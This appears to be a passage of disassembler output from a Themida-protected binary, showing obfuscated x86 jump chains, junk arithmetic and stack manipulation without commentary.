		sub	edi, 7ABF52E0h
		pop	ebx
		add	edi, 2
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		jmp	loc_584391
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58449E:				; CODE XREF: sub_585452+843Bj
		mov	edi, 78061F0Ah
		or	edi, 30295880h
		sub	edi, 643F0214h
		xor	edi, 5F575F8Eh
		push	ebx
		mov	ebx, 9B76AE3h
		jmp	loc_58DB69
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_586650


loc_5844C0:				; CODE XREF: sub_586650+7j
		pop	edx
		add	[esp+8+var_4], edx
		pop	edx
		jmp	loc_58F6C0
; END OF FUNCTION CHUNK	FOR sub_586650
; ---------------------------------------------------------------------------


loc_5844CB:				; CODE XREF: Themida_:0058D1B8j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dl, 19h
		not	dl
		inc	dl
		xor	dl, 8Ah
		add	dl, 4
		push	ebx
		mov	bh, 0BCh
		shr	bh, 4
		sub	bh, 0D3h
		add	dl, bh
		pop	ebx
		jmp	loc_58D6B9
; ---------------------------------------------------------------------------


loc_5844EF:				; CODE XREF: Themida_:0058EF68j
		pop	ebx
		xor	ebx, esi
		pop	esi
		add	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 2
		add	edx, ebx
		pop	ebx
		jmp	loc_58A416
; ---------------------------------------------------------------------------


loc_584504:				; CODE XREF: Themida_:0058DB64j
		mov	edx, [esp]
		push	esi
		jmp	loc_58C9AB
; ---------------------------------------------------------------------------
		lodsb
		jmp	loc_58A918
; ---------------------------------------------------------------------------


loc_584513:				; CODE XREF: Themida_:0058650Aj
		mov	dh, 14h
		dec	dh
		push	ax
		mov	ah, 0
		xor	dh, ah
		pop	ax
		push	ecx
		jmp	loc_589837
; ---------------------------------------------------------------------------


loc_584525:				; CODE XREF: Themida_:0058F7E5j
		pop	ebx
		push	esi
		mov	esi, 0FC059C5Bh
		jmp	loc_588978
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	7032h
		mov	[esp], ecx
		push	esp
		jmp	loc_585F74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584542:				; CODE XREF: sub_585452-EEFj
		pop	edi
		add	esp, 4
		jmp	loc_58D87C
; ---------------------------------------------------------------------------


loc_58454B:				; CODE XREF: sub_585452+34C0j
		add	eax, 4
		sub	esp, 4
		mov	[esp+0], edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp+0]
		jmp	loc_584542
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584568:				; CODE XREF: sub_58EFBD-6846j
		add	esp, 4
		xchg	edi, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], ebx
		mov	ebx, 696208B8h
		jmp	loc_58E43A
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58457E:				; CODE XREF: sub_585452+33E6j
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		push	40Ch
		mov	[esp-8+arg_4], ecx
		push	[esp-8+arg_8]
		mov	ecx, [esp-4+arg_0]
		jmp	sub_58F3BC
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584598:				; CODE XREF: Themida_:0058D4D0j
		add	ebx, 140D4DEEh
		or	ebx, 0A0F7F39h
		add	ebx, 24708009h
		add	edi, ebx
		pop	ebx
		push	ebx
		mov	ebx, 2
		add	edi, ebx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_586D1D
; ---------------------------------------------------------------------------


loc_5845C6:				; CODE XREF: Themida_:00586E47j
		mov	[esp], ebx
		mov	bl, 1Ah
		sub	bl, 1
		push	50E7h
		mov	[esp], edx
		mov	dl, 38h
		dec	dl
		jmp	loc_587E5B
; ---------------------------------------------------------------------------


loc_5845DF:				; CODE XREF: Themida_:00588D4Aj
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		jmp	loc_589C75
; ---------------------------------------------------------------------------


loc_5845FD:				; CODE XREF: Themida_:00586827j
		add	edx, 4
		jmp	loc_58E5C1
; ---------------------------------------------------------------------------


loc_584608:				; CODE XREF: Themida_:00588EA8j
		mov	cx, [esp]
		push	591Bh
		mov	[esp], ebp
		jmp	loc_58A9BB
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
; ---------------------------------------------------------------------------
		jmp	loc_5879ED
; ---------------------------------------------------------------------------


loc_584621:				; CODE XREF: Themida_:0058B919j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_584633:				; CODE XREF: sub_58E931-1CFFj
		pop	edx
		pop	edi
		sub	edi, 6D374C8h
		pop	eax
		jmp	loc_588FBA
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584641:				; CODE XREF: sub_585452+96B9j
		sub	ch, 1
		not	ch
		add	ch, 4Eh
		sub	bl, 0D8h
		add	bl, 29h
		sub	bl, ch
		sub	bl, 29h
		add	bl, 0D8h
		mov	cx, word ptr [esp-4+arg_0]
		add	esp, 2
		movzx	eax, al
		jmp	loc_58978B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584669:				; CODE XREF: Themida_:0058B48Aj
		add	eax, 0C4063EA6h
		push	eax
		add	dword ptr [esp], 3DBB6B15h
		jmp	loc_58C7B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58467B:				; CODE XREF: sub_585452+9206j
		add	eax, 48A6431Eh
		mov	esi, [esp-8+arg_4]
		sub	esp, 4
		jmp	loc_585B15
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_58468E:				; CODE XREF: Themida_:0058A22Cj
		add	ebx, edx
		pop	edx
		push	ecx
		jmp	loc_589A33
; ---------------------------------------------------------------------------


loc_584697:				; CODE XREF: Themida_:0058A149j
		add	dx, 1F6Eh
		sub	dx, si
		sub	dx, 1F6Eh
		add	dx, 589Dh
		pop	si
		shr	dx, 3
		xor	dx, 5804h
		inc	dx
		sub	dx, 49B3h
		jmp	loc_583CA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5846C0:				; CODE XREF: sub_585452+8E8Dj
		add	ecx, 4
		push	esi
		mov	esi, 4
		jmp	loc_586B75
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5846D1:				; CODE XREF: Themida_:0058979Dj
		add	ecx, 56EF0532h
		push	ebp
		mov	ebp, 0C53B6D72h
		xor	ecx, ebp
		pop	ebp
		add	edi, ecx
		jmp	loc_588C44
; ---------------------------------------------------------------------------


loc_5846E7:				; CODE XREF: Themida_:00583C93j
		pop	esp
		jmp	loc_58901E
; ---------------------------------------------------------------------------


loc_5846ED:				; CODE XREF: Themida_:00587F76j
		xor	ebp, [esp]
		jmp	loc_58F870
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E931


loc_5846F5:				; CODE XREF: sub_58E931-43E7j
		push	eax
		jmp	loc_583CC6
; END OF FUNCTION CHUNK	FOR sub_58E931
; ---------------------------------------------------------------------------


loc_5846FB:				; CODE XREF: Themida_:0058C663j
		mov	edi, 4402420Bh
		push	1B24h
		mov	[esp], esi
		mov	esi, 798F0CE8h
		and	edi, esi
		jmp	loc_58A353
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BB49


loc_584714:				; CODE XREF: sub_58BB49+17j
		add	[esp+arg_0], 13532E8Bh
		mov	edx, [esp+0]
		jmp	loc_5888D5
; END OF FUNCTION CHUNK	FOR sub_58BB49
; ---------------------------------------------------------------------------


loc_584724:				; CODE XREF: Themida_:0058738Cj
		push	edx
		mov	edx, 4
		add	esi, 368B254Fh
		add	esi, edx
		push	ebx
		mov	ebx, 253A2E09h
		jmp	loc_58FDBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C92B


loc_58473D:				; CODE XREF: sub_58C92B-5FB0j
		xor	ebx, 0AC1F2C13h
		mov	edx, ebx
		pop	ebx
		shl	edx, 5
		sub	esp, 4
		mov	[esp+0], edx
		neg	dword ptr [esp+0]
		jmp	loc_5857C2
; END OF FUNCTION CHUNK	FOR sub_58C92B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_584757:				; CODE XREF: sub_58FA66-8A93j
		push	edx
		jmp	loc_58A4D4
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58475D:				; CODE XREF: sub_585452+7902j
		push	esp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		push	6179h
		jmp	loc_5869D2
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58DEA3


loc_58477B:				; CODE XREF: sub_58DEA3-1B24j
		pop	ecx
		mov	cl, dl
		pop	edx
		jmp	loc_586E88
; END OF FUNCTION CHUNK	FOR sub_58DEA3
; ---------------------------------------------------------------------------


loc_584784:				; CODE XREF: Themida_:0058E060j
		push	3375h
		mov	[esp], edx
		mov	dx, 2E47h
		jmp	loc_584B22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D97C


loc_584795:				; CODE XREF: sub_58D97C+246j
		mov	ecx, 1
		jmp	loc_58DC03
; END OF FUNCTION CHUNK	FOR sub_58D97C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_58479F:				; CODE XREF: sub_589967-5776j
		and	ebp, 330943EFh
		sub	ebp, 0DC8CB2F0h
		xor	edx, ebp
		jmp	loc_588AD5
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F728


loc_5847B2:				; CODE XREF: sub_58F728-5D9Aj
		push	edi
		push	4B6C4E4Ch
		pop	edi
		xor	edi, 49630FD4h
		mov	ebp, edi
		pop	edi
		sub	ebp, 3D1401E0h
		or	ebp, 2CD61EFDh
		sub	ebp, 0E47BFDC9h
		add	edx, ebp
		pop	ebp
		add	edx, esi
		jmp	sub_58C92B
; END OF FUNCTION CHUNK	FOR sub_58F728
; ---------------------------------------------------------------------------


loc_5847DE:				; CODE XREF: Themida_:00588696j
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5847E3:				; CODE XREF: sub_585452-B12j
		not	edx
		xchg	eax, edx
		push	323Ah
		jmp	loc_585E58
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5847F0:				; CODE XREF: Themida_:00589256j
		sub	eax, 57F35986h
		sub	eax, ecx
		add	eax, 57F35986h
		pop	ecx
		jmp	loc_58E9D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584802:				; CODE XREF: sub_585452+744Dj
		jmp	loc_583C20
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584807:				; CODE XREF: Themida_:0058B531j
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		jmp	loc_58911B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584812:				; CODE XREF: sub_585452+471Bj
		add	esi, ebp
		pop	ebp
		jmp	loc_58FBD8
; END OF FUNCTION CHUNK	FOR sub_585452

; =============== S U B	R O U T	I N E =======================================



sub_58481A	proc near		; CODE XREF: sub_58D28B-2EC8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00587587 SIZE 0000001D BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	edi
		jmp	loc_587587
sub_58481A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	edx
		mov	dh, 6
		or	dh, 0D2h
		shl	dh, 1
		shr	dh, 2
		sub	dh, 0FFh
		jmp	loc_58B962
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58483C:				; CODE XREF: sub_585452+239Dj
		xor	ecx, 6435F25h
		push	eax
		mov	eax, 64C80D3Eh
		sub	eax, 62C5E464h
		jmp	loc_5885DD
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		jmp	loc_58D5F8
; ---------------------------------------------------------------------------


loc_58485E:				; CODE XREF: Themida_:0058EF47j
		xchg	ecx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_58EB93
; ---------------------------------------------------------------------------


loc_58486A:				; CODE XREF: Themida_:0058E482j
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58D041
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_58D4AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584882:				; CODE XREF: sub_58EFBD-6736j
		push	edi
		mov	edi, 129E5CD1h
		inc	edi
		jmp	loc_58C365
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_58488E:				; CODE XREF: Themida_:0058DB94j
		push	edx
		mov	edx, 0E9E235F3h
		add	ebp, edx
		pop	edx
		add	esi, ebp
		jmp	loc_58592D
; ---------------------------------------------------------------------------


loc_58489E:				; CODE XREF: Themida_:00586904j
		shr	ebx, 4
		inc	ebx
		add	ebx, 28C52B9Eh
		add	ebx, 2E8A1040h
		jmp	loc_58F604
; ---------------------------------------------------------------------------


loc_5848B3:				; CODE XREF: Themida_:005851BEj
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_585ACC
; ---------------------------------------------------------------------------


loc_5848BF:				; CODE XREF: Themida_:0058696Cj
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		xor	ecx, [esp]
		jmp	loc_589101
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58A170


loc_5848D6:				; CODE XREF: sub_58A170+45E1j
		sub	dh, 9
		add	ch, dh
		pop	edx
		jmp	loc_58C25D
; END OF FUNCTION CHUNK	FOR sub_58A170
; ---------------------------------------------------------------------------


loc_5848E1:				; CODE XREF: Themida_:0058C5BDj
		add	al, 34h
		add	al, 9
		sub	al, dl
		sub	al, 9
		jmp	loc_58C4A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5848EE:				; CODE XREF: sub_585452+35EEj
		add	eax, 274F0327h
		push	edi
		jmp	loc_58C560
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5848F9:				; CODE XREF: Themida_:00588D6Aj
		xor	esi, [esp]
		pop	esp
		mov	ax, [esp]
		push	esi
		push	esp
		pop	esi
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	1404h
		mov	[esp], ebx
		jmp	loc_58C8C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_58491A:				; CODE XREF: sub_585452+1FAAj
		add	edi, 49A11589h
		pop	ebx
		mov	ecx, edi
		pop	edi
		add	ebx, ecx
		pop	ecx
		add	ebx, 4
		push	ebx
		push	[esp+arg_0]
		pop	ebx
		pop	dword ptr [esp+0]
		pop	esp
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_5847E3
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584945:				; CODE XREF: Themida_:0058816Bj
		add	edi, 4D2243FAh
		jmp	loc_58D10D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584950:				; CODE XREF: sub_585452+7732j
		add	esi, ebp
		jmp	loc_58A041
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58CCD7


loc_584957:				; CODE XREF: sub_58CCD7+3A5j
		mov	edx, esp
		sub	esp, 4
		jmp	loc_58DCBC
; END OF FUNCTION CHUNK	FOR sub_58CCD7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584961:				; CODE XREF: sub_585452+4DBEj
		add	cl, 0FFh
		not	cl
		push	ax
		mov	ah, 45h
		xor	cl, ah
		pop	ax
		add	bl, 0DCh
		sub	bl, cl
		sub	bl, 0DCh
		pop	ecx
		jmp	loc_587A21
; ---------------------------------------------------------------------------


loc_58497C:				; CODE XREF: sub_585452+447j
		pop	esp
		jmp	loc_58A00F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584982:				; CODE XREF: Themida_:0058B4F7j
		sub	ecx, 645D7112h
		dec	ecx
		add	ecx, 0AA87BF43h
		sub	eax, 68A0597Fh
		add	eax, ecx
		push	ebp
		mov	ebp, 68A0597Fh
		add	eax, ebp
		pop	ebp
		jmp	loc_5881A7
; ---------------------------------------------------------------------------


loc_5849A4:				; CODE XREF: Themida_:00586AF4j
		mov	eax, 4
		add	ecx, eax
		jmp	loc_589F3C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585019


loc_5849B0:				; CODE XREF: sub_585019+A7E1j
		mov	ebp, [esp+4+var_4]
		jmp	loc_58AD39
; END OF FUNCTION CHUNK	FOR sub_585019
; ---------------------------------------------------------------------------


loc_5849B8:				; CODE XREF: Themida_:0058F257j
		pop	edx
		add	esp, 4
		add	esi, 2
		xchg	esi, [esp]
		pop	esp
		mov	fs:[edx], al
		jmp	loc_583C20
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_5849CE:				; CODE XREF: sub_585452+2BFj
		push	[esp-14h+arg_12+2]
		mov	eax, [esp+0]
		add	esp, 4
		pop	[esp-14h+arg_E+2]
		mov	esp, [esp-18h+arg_12+2]
		push	[esp-18h+arg_12+2]
		push	[esp-14h+arg_E+2]
		pop	ecx
		jmp	loc_58C424
; ---------------------------------------------------------------------------


loc_5849ED:				; CODE XREF: sub_585452+97FCj
		pop	edi
		pop	esi
		add	ecx, edi
		push	dword ptr [ecx]
		jmp	loc_58A7C4
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_5849F8:				; CODE XREF: Themida_:005863BAj
		mov	ax, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, 365D1171h
		sub	edx, 1
		or	edx, 50DD050Dh
		add	edx, 2CEC0C90h
		neg	edx
		push	ebx
		jmp	loc_58582A
; ---------------------------------------------------------------------------
		push	1CF9h
		jmp	loc_5877D4
; ---------------------------------------------------------------------------


loc_584A2E:				; CODE XREF: Themida_:0058D907j
		sub	cl, dh
		jmp	loc_58BEFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584A35:				; CODE XREF: sub_585452+1B64j
		mov	[esp-18h+arg_12+2], esp
		jmp	loc_58A191
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584A3D:				; CODE XREF: Themida_:00589E39j
		xor	ebx, 0B52F1A47h
		jmp	loc_58B91E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584A48:				; CODE XREF: sub_585452+95Dj
		bts	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_584A53:				; CODE XREF: sub_585452+30ECj
		not	bh
		push	eax
		jmp	loc_589716
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584A5B:				; CODE XREF: Themida_:0058512Bj
		pop	esp
		sub	al, 64h
		jmp	loc_58E792
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584A63:				; CODE XREF: sub_585452+1222j
		push	4CFBh
		mov	[esp-0Ch+arg_8], ecx
		mov	cl, 9Fh
		sub	cl, 1
		neg	cl
		push	cx
		not	byte ptr [esp-0Ah+arg_4+2]
		pop	cx
		add	cl, 0E9h
		jmp	loc_584EFF
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584A81:				; CODE XREF: Themida_:0058B682j
		mov	[esp], edi
		mov	edi, 7AB228FAh
		jmp	loc_587CAC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_589967


loc_584A8E:				; CODE XREF: sub_589967+561Fj
		mov	edi, 0C35456Ah
		add	edi, 1C2B4B8Ah
		shl	edi, 8
		add	edi, 45B0FF00h
		add	edx, edi
		pop	edi
		push	6CE1h
		jmp	loc_583F00
; END OF FUNCTION CHUNK	FOR sub_589967
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584AAF:				; CODE XREF: sub_585452+28E3j
		sub	eax, 58742948h
		shl	eax, 7
		xor	eax, 2D093904h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xchg	ebp, [esp+0]
		pop	esp
		jmp	loc_587499
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584ACB:				; CODE XREF: Themida_:00588D33j
		push	ebp
		mov	ebp, 6F5C245Ch
		jmp	loc_58BB2B
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	4059h
		mov	[esp], edi
		push	733Bh
		push	esp
		pop	dword ptr [esp]
		jmp	loc_58FC6F
; ---------------------------------------------------------------------------


loc_584AF0:				; CODE XREF: Themida_:0058B0CCj
		add	ecx, 4
		push	7019h
		mov	[esp], esi
		mov	esi, 2
		sub	ecx, 1C7A0C30h
		sub	ecx, 101B2B9Bh
		add	ecx, esi
		add	ecx, 101B2B9Bh
		add	ecx, 1C7A0C30h
		jmp	loc_58BC2A
; ---------------------------------------------------------------------------


loc_584B22:				; CODE XREF: Themida_:00584790j
		push	si
		jmp	loc_58AD68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584B29:				; CODE XREF: sub_585452+375j
		push	edx
		jmp	loc_586BB1
; ---------------------------------------------------------------------------


loc_584B2F:				; CODE XREF: sub_585452+855j
		pop	esp
		push	[esp-14h+arg_E+2]
		jmp	loc_58E7E8
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584B38:				; CODE XREF: sub_58EFBD-5872j
		or	ebp, ecx
		jmp	loc_58CC00
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------


loc_584B3F:				; CODE XREF: Themida_:0058B8F7j
		mov	[esp], ecx
		push	10F3h
		mov	[esp], ebx
		mov	ebx, 798E1FB3h
		mov	ecx, 799358FAh
		sub	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	2EFFh
		mov	[esp], esi
		mov	esi, ecx
		jmp	loc_58B9AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FA66


loc_584B6B:				; CODE XREF: sub_58FA66-68FFj
		neg	eax
		jmp	loc_584DA7
; END OF FUNCTION CHUNK	FOR sub_58FA66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584B72:				; CODE XREF: sub_585452+169j
		pop	dword ptr [esp+0]
		jmp	loc_58D98B
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584B7A:				; CODE XREF: Themida_:0058F79Bj
		push	ebp
		push	eax
		push	57D763BDh
		jmp	loc_58F2B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584B86:				; CODE XREF: sub_585452+8865j
		push	ecx
		mov	cl, 5Eh
		jmp	loc_58AB2F
; ---------------------------------------------------------------------------


loc_584B8E:				; CODE XREF: sub_585452+8CDFj
		pop	ebp
		jmp	loc_58AE60
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584B94:				; CODE XREF: Themida_:005879E8j
		pop	ecx
		jmp	loc_58FEB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EFBD


loc_584B9A:				; CODE XREF: sub_58EFBD+747j
		mov	ebp, eax
		pop	eax
		jmp	loc_58F71E
; END OF FUNCTION CHUNK	FOR sub_58EFBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584BA2:				; CODE XREF: sub_585452+547Cj
		neg	eax
		shr	eax, 8
		dec	eax
		jmp	loc_588E3A
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584BAD:				; CODE XREF: Themida_:0058E85Cj
		xor	ebx, 0AAE8A4ACh
		add	ecx, ebx
		pop	ebx
		jmp	loc_585C05
; ---------------------------------------------------------------------------


loc_584BBB:				; CODE XREF: Themida_:0058EA08j
		jmp	loc_583C20
; ---------------------------------------------------------------------------


loc_584BC0:				; CODE XREF: Themida_:0058A5C3j
		add	al, bl
		sub	al, 0CDh
		push	ebx
		jmp	loc_58B7AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584BCA:				; CODE XREF: sub_585452+6CF1j
		pop	ecx
		jmp	loc_586141
; ---------------------------------------------------------------------------


loc_584BD0:				; CODE XREF: sub_585452+5A1Dj
		add	[esp-18h+arg_16+2], ebx
		pop	ebx
		add	[esp-1Ch+arg_16+2], 4F2B74B1h
		add	[esp-1Ch+arg_16+2], 6801D10h
		jmp	loc_58C12F
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C230


loc_584BE8:				; CODE XREF: sub_58C230+3084j
		pop	eax
		push	edi
		push	[esp+arg_0]
		pop	edi
		pop	dword ptr [esp+0]
		pop	esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-8+arg_4]
		pop	esp
		sub	edi, 53CF6FA4h
		push	ecx
		jmp	loc_587263
; END OF FUNCTION CHUNK	FOR sub_58C230
; ---------------------------------------------------------------------------


loc_584C0D:				; CODE XREF: Themida_:00587436j
		push	3C06h
		mov	[esp], ebx
		push	36AEh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		push	eax
		push	6DDCh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		jmp	loc_5885AF
; ---------------------------------------------------------------------------


loc_584C3F:				; CODE XREF: Themida_:00585FD8j
		shr	eax, 5
		jmp	loc_5886FA
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	174Fh
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		push	ebx
		mov	ebx, 4
		mov	ebp, ebx
		jmp	loc_5890CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584C62:				; CODE XREF: sub_585452+C65j
		sub	dh, 83h
		sub	al, dh
		pop	edx
		jmp	loc_58FA13
; ---------------------------------------------------------------------------


loc_584C6D:				; CODE XREF: sub_585452+5A57j
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp-20h+arg_1A+2]
		pop	esp
		push	edx
		mov	edx, 2C9874C6h
		not	edx
		shl	edx, 1
		neg	edx
		not	edx
		not	edx
		sub	edx, 365BB734h
		xor	eax, edx
		pop	edx
		push	23C6h
		jmp	loc_5862D1
; ---------------------------------------------------------------------------


loc_584CA5:				; CODE XREF: sub_585452+A801j
		add	edi, 85738F4Bh
		mov	edx, edi
		pop	edi
		jmp	loc_587120
; ---------------------------------------------------------------------------


loc_584CB3:				; CODE XREF: sub_585452+94A8j
		sub	bl, 6Ch
		sub	bl, ah
		push	cx
		mov	cl, 6Ch
		sub	bl, 0F7h
		sub	bl, 0C7h
		add	bl, cl
		push	edx
		jmp	loc_58C525
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_587574


loc_584CCA:				; CODE XREF: sub_587574+4FFj
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, 59F53D34h
		sub	ebx, ebp
		sub	ebx, 59F53D34h
		jmp	loc_58CA46
; END OF FUNCTION CHUNK	FOR sub_587574
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584CEA:				; CODE XREF: sub_585452+6FEj
		xor	edx, [esp-1Eh+arg_1A]
		xor	[esp-1Eh+arg_1A], edx
		jmp	loc_5870B7
; END OF FUNCTION CHUNK	FOR sub_585452
; ---------------------------------------------------------------------------


loc_584CF5:				; CODE XREF: Themida_:0058CE27j
		push	eax
		jmp	loc_58A7AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_585452


loc_584CFB:				; CODE XREF: sub_585452+7FA0j
		mov	ebx, 0
		push	ecx
		mov	ecx, 3CA12C82h
		shr	ecx, 2
		jmp	loc_588F2E
